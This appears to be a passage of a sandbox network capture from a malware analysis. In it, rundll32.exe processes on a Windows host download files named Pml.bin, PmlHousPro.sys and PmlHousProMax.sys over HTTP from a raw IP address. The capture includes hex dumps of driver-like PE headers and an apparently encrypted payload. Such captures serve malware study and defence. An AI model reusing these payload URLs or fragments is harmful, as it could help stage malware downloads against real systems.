00 00 00 00 00 00 00 20 00 00 68 2e 72 64 61 74 61 00 00 8c 04 00 00 00 30 00 00 00 06 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 48 2e 64 61 74 61 00 00 00 28 00 00 00 00 40 00 00 00 02 00 00 00 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c8 2e 70 64 61 74 61 00 00 20 01 00 00 00 50 00 00 00 02 00 00 00 26 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 48 49 4e 49 54 00 00 00 00 c0 02 00 00 00 60 00 00 00 04 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 56 53 4b 30 00 00 00 72 52 01 00 00 70 00 00 00 54 01 00 00 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 68 2e 72 65 6c 6f 63 00 00 2c 00 00 00 00 d0 01 00 00 02 00 00 00 80 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e9 de f8 00 00 0f 8d 60 76 00 00 f3 a4 66 0f b3 de 5f f9 fd 66 f7 de 66 d3 f6 5e fc f8 fc f5 9d e9 eb 04 00 00 e9 e3 69 00 00 e9 9b 15 00 00 66 89 45 00 e9 d8 04 00 00 57 e9 b0 71 00 00 e9 00 04 00 00 e9 8d 06 00 00 e9 ba 6c 00 00 0f 80 53 74 00 00 48 83 ed 02 f8 80 fd 1f 38 e0 66 89 45 00 f8 48 39 d6 66 0f ba e6 01 84 de 48 81 ee ff ff ff ff e9 11 6f 00 00 e9 1e 09 00 00 e9 0a 0c 00 00 e9 b6 05 00 00 41 53 e9 e1 12 00 00 66 f7 d0 28 d2 48 8b 45 00 0f 99 c2 80 ca 58 80 f2 b0 8a 55 08 f7 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$%5aTaTaTu?bTaT@Tu?cTu?bT!cT!`TRichaTPEdP'e"`@0A`A`(P 0g,0800.text* h.rdata0@H.data(@$@.pdata P&@HINIT`( `.VSK0rRpT,`h.reloc,@B`vf_ff^ifEWqlStH8fEH9fHoASf(HEXU
Mar 28, 2024 11:28:57.276617050 CET	95	OUT	GET /xz?mz=PmlHousProMax.sys HTTP/1.1 Host: 134.175.236.132:17598 Cache-Control: no-cache
Mar 28, 2024 11:28:57.620623112 CET	1286	IN	HTTP/1.1 200 OK Accept: text/plain, text/html Content-Length: 109632 Connection: keep-alive Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 25 35 c6 f1 61 54 a8 a2 61 54 a8 a2 61 54 a8 a2 75 3f a9 a3 62 54 a8 a2 61 54 a9 a2 40 54 a8 a2 75 3f ab a3 63 54 a8 a2 75 3f ac a3 62 54 a8 a2 a9 21 ad a3 63 54 a8 a2 a9 21 aa a3 60 54 a8 a2 52 69 63 68 61 54 a8 a2 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00 50 27 93 65 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 1d 00 1e 00 00 00 0c 00 00 00 00 00 00 00 60 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 0a 00 00 00 0a 00 00 00 06 00 01 00 00 00 00 00 00 e0 01 00 00 04 00 00 1f 29 02 00 01 00 60 41 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 90 60 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 50 00 00 20 01 00 00 00 82 01 00 40 2a 00 00 00 d0 01 00 2c 00 00 00 b0 30 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 30 00 00 18 01 00 00 00 00 00 00 00 00 00 00 00 30 00 00 98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 2a 18 00 00 00 10 00 00 00 1a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 68 2e 72 64 61 74 61 00 00 8c 04 00 00 00 30 00 00 00 06 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 48 2e 64 61 74 61 00 00 00 28 00 00 00 00 40 00 00 00 02 00 00 00 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c8 2e 70 64 61 74 61 00 00 20 01 00 00 00 50 00 00 00 02 00 00 00 26 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 48 49 4e 49 54 00 00 00 00 c0 02 00 00 00 60 00 00 00 04 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 56 53 4b 30 00 00 00 72 52 01 00 00 70 00 00 00 54 01 00 00 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 68 2e 72 65 6c 6f 63 00 00 2c 00 00 00 00 d0 01 00 00 02 00 00 00 80 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e9 de f8 00 00 0f 8d 60 76 00 00 f3 a4 66 0f b3 de 5f f9 fd 66 f7 de 66 d3 f6 5e fc f8 fc f5 9d e9 eb 04 00 00 e9 e3 69 00 00 e9 9b 15 00 00 66 89 45 00 e9 d8 04 00 00 57 e9 b0 71 00 00 e9 00 04 00 00 e9 8d 06 00 00 e9 ba 6c 00 00 0f 80 53 74 00 00 48 83 ed 02 f8 80 fd 1f 38 e0 66 89 45 00 f8 48 39 d6 66 0f ba e6 01 84 de 48 81 ee ff ff ff ff e9 11 6f 00 00 e9 1e 09 00 00 e9 0a 0c 00 00 e9 b6 05 00 00 41 53 e9 e1 12 00 00 66 f7 d0 28 d2 48 8b 45 00 0f 99 c2 80 ca 58 80 f2 b0 8a 55 08 f7 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$%5aTaTaTu?bTaT@Tu?cTu?bT!cT!`TRichaTPEdP'e"`@)`A`(P @,0800.text h.rdata0@H.data(@$@.pdata P&@HINIT`( `.VSK0rRpT,`h.reloc,@B`vf_ff^ifEWqlStH8fEH9fHoASf(HEXU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49706	134.175.236.132	17598	6584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Mar 28, 2024 11:28:55.208302021 CET	85	OUT	GET /xz?mz=Pml.bin HTTP/1.1 Host: 134.175.236.132:17598 Cache-Control: no-cache
Mar 28, 2024 11:28:55.564356089 CET	1286	IN	HTTP/1.1 200 OK Accept: text/plain, text/html Content-Length: 237081 Connection: keep-alive Data Raw: cb 83 3f 4d e1 ea 88 4e 6c b2 fe 74 7b 92 e0 ad f7 c6 8b 79 95 17 45 59 a1 e0 1f 63 92 a8 e6 81 3e 93 bd c4 e1 61 a5 d9 19 86 2f 9a 65 9b 8c 85 2a 64 52 a1 36 6c fa 32 d9 d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae c1 fc a7 37 d7 b9 b2 da 73 eb ba 60 1f 36 4b 5a d4 61 fb 38 00 16 a3 8a 95 89 9b c3 34 23 64 de 62 a7 5c 0c f3 17 74 1e 5d f3 68 8d d1 f8 af 1c af ea 33 99 d0 ab 4e e0 0a 73 42 b8 a9 f9 b3 0b ff c6 b5 85 95 0d 6c 25 b9 db 56 1d d5 6e ea e1 29 89 de 17 80 14 ac df 5f 31 cd 5f 96 7a 39 e7 4f 27 f8 f1 00 12 04 c0 4f f5 ea d0 6a 5c ee e6 2c e8 90 c7 a5 25 91 7b 3e c3 99 82 a8 ec e7 77 8d ef 08 72 63 8f 1e ff 6f 80 c8 4e a9 9a 8e 00 d4 25 5e 06 2d cd 30 ae f2 18 d3 e3 f4 89 62 94 13 74 4c 9f ea b2 a6 ac 11 b2 40 0b 9a 82 2f 1c 3b c5 5c dd cf c9 37 3c e8 29 8b 4f c0 71 22 08 74 e3 1b 92 82 71 ad af 0b 09 1e 45 46 c4 9b 1c 83 f2 71 f4 26 62 c5 4b 92 cd 32 32 aa 92 06 98 0f 5c e2 18 ce fa 07 2e 9f 3a fc 57 1a b0 9b b7 fa 54 55 bf b5 f9 a8 e0 9a 8e 96 a7 67 5f 94 48 08 1d 83 98 04 92 b6 a1 9a 8e 96 a7 67 5f 94 48 08 1d 83 98 04 92 b6 a1 64 48 f8 6e 90 73 11 73 d4 25 5e 06 2d cd 30 ae 3b e2 66 0b d8 88 2e 2f d4 25 5e 06 2d cd 30 ae f6 89 c0 18 fe f9 dd c2 d4 25 5e 06 2d cd 30 ae 61 6d 8d 94 e4 9f 2c 66 27 ee 76 fb eb 2b 57 8e d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae e0 a6 77 5a 25 dd 43 14 d4 25 5e 06 2d cd 30 ae c6 e9 22 29 1e 24 f3 d6 d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae 70 20 53 80 18 99 82 92 a2 94 29 9c a4 98 75 55 11 58 c2 48 d0 a8 48 e2 d4 25 5e 06 2d cd 30 ae 39 2f 76 ae 3e c7 19 73 f6 df 5c 4d 1a 49 d4 af 62 90 de 62 a5 83 db 61 db 43 13 e7 14 07 5a 9f d4 25 5e 06 2d cd 30 ae 22 23 53 5a 54 75 a6 36 3a f3 cb cf fd 80 9f e6 e5 3d aa 2a e6 6a b2 06 7a dd 18 07 32 80 12 ab d4 25 5e 06 2d cd 30 ae 90 6c 51 e8 83 01 ea 1f a3 37 e0 01 75 b1 6c b4 ef fb 4b 28 50 b4 75 80 a9 f4 a7 9f 6e f1 57 72 d4 25 5e 06 2d cd 30 ae 22 23 53 5a 54 75 a6 36 38 f2 14 c5 af ac 59 50 c1 af f6 b9 e5 ae 61 08 04 67 1e 4e e8 ec 57 50 d4 25 5e 06 2d cd 30 ae 05 57 bf 71 70 2f 35 a2 83 0d fd c2 af 81 fc b7 d4 1c 49 51 96 fd 22 59 53 17 48 52 16 9c 97 1e d4 25 5e 06 2d cd 30 ae cd 67 76 b1 d6 16 f2 26 86 94 57 59 2a 71 2f 16 0d 81 0f f4 92 19 46 14 5f d0 df 63 39 01 00 ca d4 25 5e 06 2d cd 30 ae 38 38 70 ed 2b 54 da ee d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae 40 7d 80 39 cd 40 63 26 89 62 b0 65 7b fe ea 3a 05 2b 2f dd 06 0a 2d 1d 6e 77 f6 94 cb 78 ed f6 df e7 db 82 9f 01 db f9 d3 e9 86 fa 5e d2 da 1e 38 9e 86 0c a1 78 5f b7 3a fd d8 8d 14 32 cd 7f a1 ea e5 05 f0 c2 0f 8f 59 24 58 e2 42 09 33 95 96 d2 cd 2d d7 98 6a 09 1e 3d 3e 08 c8 78 c5 85 d7 d1 79 dd bd 82 83 1e 93 62 8b f6 ab 12 79 bd 38 f4 7f 7b 17 e7 a3 8f 32 53 e1 32 67 93 17 b8 06 d3 9b 84 1f 2a 32 23 bb 3c e7 Data Ascii: ?MNlt{yEYc>a/edR6l2%^-0%^-0%^-07s`6KZa84#db\t]h3NsBl%Vn)_1_z9O'Oj\,%{>wrcoN%^-0btL@/;\7<)Oq"tqEFq&bK22\.:WTUg_Hg_HdHnss%^-0;f./%^-0%^-0am,f'v+W%^-0%^-0%^-0wZ%C%^-0")$%^-0%^-0%^-0p S)uUXHH%^-09/v>s\MIbbaCZ%^-0"#SZTu6:=jz2%^-0lQ7ulK(PunWr%^-0"#SZTu68YPagNWP%^-0Wqp/5IQ"YSHR%^-0gv&WYq/F_c9%^-088p+T%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0@}9@c&be{:+/-nwx^8x_:2Y$XB3-j=>xyby8{2S2g2#<
Mar 28, 2024 11:28:56.907026052 CET	92	OUT	GET /xz?mz=PmlHousPro.sys HTTP/1.1 Host: 134.175.236.132:17598 Cache-Control: no-cache
Mar 28, 2024 11:28:57.252115011 CET	1286	IN	HTTP/1.1 200 OK Accept: text/plain, text/html Content-Length: 125232 Connection: keep-alive Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 25 35 c6 f1 61 54 a8 a2 61 54 a8 a2 61 54 a8 a2 75 3f a9 a3 62 54 a8 a2 61 54 a9 a2 40 54 a8 a2 75 3f ab a3 63 54 a8 a2 75 3f ac a3 62 54 a8 a2 a9 21 ad a3 63 54 a8 a2 a9 21 aa a3 60 54 a8 a2 52 69 63 68 61 54 a8 a2 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00 50 27 93 65 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 1d 00 1e 00 00 00 0c 00 00 00 00 00 00 00 60 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 0a 00 00 00 0a 00 00 00 06 00 01 00 00 00 00 00 00 e0 01 00 00 04 00 00 30 41 02 00 01 00 60 41 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 90 60 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 50 00 00 20 01 00 00 00 82 01 00 30 67 00 00 00 d0 01 00 2c 00 00 00 b0 30 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 30 00 00 18 01 00 00 00 00 00 00 00 00 00 00 00 30 00 00 98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 2a 18 00 00 00 10 00 00 00 1a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 68 2e 72 64 61 74 61 00 00 8c 04 00 00 00 30 00 00 00 06 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 48 2e 64 61 74 61 00 00 00 28 00 00 00 00 40 00 00 00 02 00 00 00 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c8 2e 70 64 61 74 61 00 00 20 01 00 00 00 50 00 00 00 02 00 00 00 26 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 48 49 4e 49 54 00 00 00 00 c0 02 00 00 00 60 00 00 00 04 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 56 53 4b 30 00 00 00 72 52 01 00 00 70 00 00 00 54 01 00 00 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 68 2e 72 65 6c 6f 63 00 00 2c 00 00 00 00 d0 01 00 00 02 00 00 00 80 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e9 de f8 00 00 0f 8d 60 76 00 00 f3 a4 66 0f b3 de 5f f9 fd 66 f7 de 66 d3 f6 5e fc f8 fc f5 9d e9 eb 04 00 00 e9 e3 69 00 00 e9 9b 15 00 00 66 89 45 00 e9 d8 04 00 00 57 e9 b0 71 00 00 e9 00 04 00 00 e9 8d 06 00 00 e9 ba 6c 00 00 0f 80 53 74 00 00 48 83 ed 02 f8 80 fd 1f 38 e0 66 89 45 00 f8 48 39 d6 66 0f ba e6 01 84 de 48 81 ee ff ff ff ff e9 11 6f 00 00 e9 1e 09 00 00 e9 0a 0c 00 00 e9 b6 05 00 00 41 53 e9 e1 12 00 00 66 f7 d0 28 d2 48 8b 45 00 0f 99 c2 80 ca 58 80 f2 b0 8a 55 08 f7 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$%5aTaTaTu?bTaT@Tu?cTu?bT!cT!`TRichaTPEdP'e"`@0A`A`(P 0g,0800.text* h.rdata0@H.data(@$@.pdata P&@HINIT`( `.VSK0rRpT,`h.reloc,@B`vf_ff^ifEWqlStH8fEH9fHoASf(HEXU
Mar 28, 2024 11:28:57.936703920 CET	95	OUT	GET /xz?mz=PmlHousProMax.sys HTTP/1.1 Host: 134.175.236.132:17598 Cache-Control: no-cache
Mar 28, 2024 11:28:58.281611919 CET	1286	IN	HTTP/1.1 200 OK Accept: text/plain, text/html Content-Length: 109632 Connection: keep-alive Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 25 35 c6 f1 61 54 a8 a2 61 54 a8 a2 61 54 a8 a2 75 3f a9 a3 62 54 a8 a2 61 54 a9 a2 40 54 a8 a2 75 3f ab a3 63 54 a8 a2 75 3f ac a3 62 54 a8 a2 a9 21 ad a3 63 54 a8 a2 a9 21 aa a3 60 54 a8 a2 52 69 63 68 61 54 a8 a2 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00 50 27 93 65 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 1d 00 1e 00 00 00 0c 00 00 00 00 00 00 00 60 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 0a 00 00 00 0a 00 00 00 06 00 01 00 00 00 00 00 00 e0 01 00 00 04 00 00 1f 29 02 00 01 00 60 41 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 90 60 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 50 00 00 20 01 00 00 00 82 01 00 40 2a 00 00 00 d0 01 00 2c 00 00 00 b0 30 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 30 00 00 18 01 00 00 00 00 00 00 00 00 00 00 00 30 00 00 98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 2a 18 00 00 00 10 00 00 00 1a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 68 2e 72 64 61 74 61 00 00 8c 04 00 00 00 30 00 00 00 06 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 48 2e 64 61 74 61 00 00 00 28 00 00 00 00 40 00 00 00 02 00 00 00 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c8 2e 70 64 61 74 61 00 00 20 01 00 00 00 50 00 00 00 02 00 00 00 26 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 48 49 4e 49 54 00 00 00 00 c0 02 00 00 00 60 00 00 00 04 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 56 53 4b 30 00 00 00 72 52 01 00 00 70 00 00 00 54 01 00 00 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 68 2e 72 65 6c 6f 63 00 00 2c 00 00 00 00 d0 01 00 00 02 00 00 00 80 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e9 de f8 00 00 0f 8d 60 76 00 00 f3 a4 66 0f b3 de 5f f9 fd 66 f7 de 66 d3 f6 5e fc f8 fc f5 9d e9 eb 04 00 00 e9 e3 69 00 00 e9 9b 15 00 00 66 89 45 00 e9 d8 04 00 00 57 e9 b0 71 00 00 e9 00 04 00 00 e9 8d 06 00 00 e9 ba 6c 00 00 0f 80 53 74 00 00 48 83 ed 02 f8 80 fd 1f 38 e0 66 89 45 00 f8 48 39 d6 66 0f ba e6 01 84 de 48 81 ee ff ff ff ff e9 11 6f 00 00 e9 1e 09 00 00 e9 0a 0c 00 00 e9 b6 05 00 00 41 53 e9 e1 12 00 00 66 f7 d0 28 d2 48 8b 45 00 0f 99 c2 80 ca 58 80 f2 b0 8a 55 08 f7 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$%5aTaTaTu?bTaT@Tu?cTu?bT!cT!`TRichaTPEdP'e"`@)`A`(P @,0800.text h.rdata0@H.data(@$@.pdata P&@HINIT`( `.VSK0rRpT,`h.reloc,@B`vf_ff^ifEWqlStH8fEH9fHoASf(HEXU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49707	134.175.236.132	17598	6392	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Mar 28, 2024 11:28:58.189810038 CET	85	OUT	GET /xz?mz=Pml.bin HTTP/1.1 Host: 134.175.236.132:17598 Cache-Control: no-cache
Mar 28, 2024 11:28:58.540705919 CET	1286	IN	HTTP/1.1 200 OK Accept: text/plain, text/html Content-Length: 237081 Connection: keep-alive Data Raw: cb 83 3f 4d e1 ea 88 4e 6c b2 fe 74 7b 92 e0 ad f7 c6 8b 79 95 17 45 59 a1 e0 1f 63 92 a8 e6 81 3e 93 bd c4 e1 61 a5 d9 19 86 2f 9a 65 9b 8c 85 2a 64 52 a1 36 6c fa 32 d9 d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae c1 fc a7 37 d7 b9 b2 da 73 eb ba 60 1f 36 4b 5a d4 61 fb 38 00 16 a3 8a 95 89 9b c3 34 23 64 de 62 a7 5c 0c f3 17 74 1e 5d f3 68 8d d1 f8 af 1c af ea 33 99 d0 ab 4e e0 0a 73 42 b8 a9 f9 b3 0b ff c6 b5 85 95 0d 6c 25 b9 db 56 1d d5 6e ea e1 29 89 de 17 80 14 ac df 5f 31 cd 5f 96 7a 39 e7 4f 27 f8 f1 00 12 04 c0 4f f5 ea d0 6a 5c ee e6 2c e8 90 c7 a5 25 91 7b 3e c3 99 82 a8 ec e7 77 8d ef 08 72 63 8f 1e ff 6f 80 c8 4e a9 9a 8e 00 d4 25 5e 06 2d cd 30 ae f2 18 d3 e3 f4 89 62 94 13 74 4c 9f ea b2 a6 ac 11 b2 40 0b 9a 82 2f 1c 3b c5 5c dd cf c9 37 3c e8 29 8b 4f c0 71 22 08 74 e3 1b 92 82 71 ad af 0b 09 1e 45 46 c4 9b 1c 83 f2 71 f4 26 62 c5 4b 92 cd 32 32 aa 92 06 98 0f 5c e2 18 ce fa 07 2e 9f 3a fc 57 1a b0 9b b7 fa 54 55 bf b5 f9 a8 e0 9a 8e 96 a7 67 5f 94 48 08 1d 83 98 04 92 b6 a1 9a 8e 96 a7 67 5f 94 48 08 1d 83 98 04 92 b6 a1 64 48 f8 6e 90 73 11 73 d4 25 5e 06 2d cd 30 ae 3b e2 66 0b d8 88 2e 2f d4 25 5e 06 